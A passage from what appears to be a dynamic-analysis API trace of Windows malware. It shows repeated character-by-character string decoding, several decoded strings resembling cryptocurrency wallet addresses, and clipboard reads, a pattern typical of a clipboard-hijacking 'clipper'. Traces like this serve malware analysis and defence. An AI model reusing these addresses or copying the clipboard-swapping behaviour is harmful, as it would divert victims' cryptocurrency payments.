lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.997] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.998] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.999] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.000] Sleep (dwMilliseconds=0x64) [0053.110] GetOpenClipboardWindow () returned 0x0 [0053.110] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.110] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.110] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.110] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.110] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.110] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.110] CloseClipboard () returned 1 [0053.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.112] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.113] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.114] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 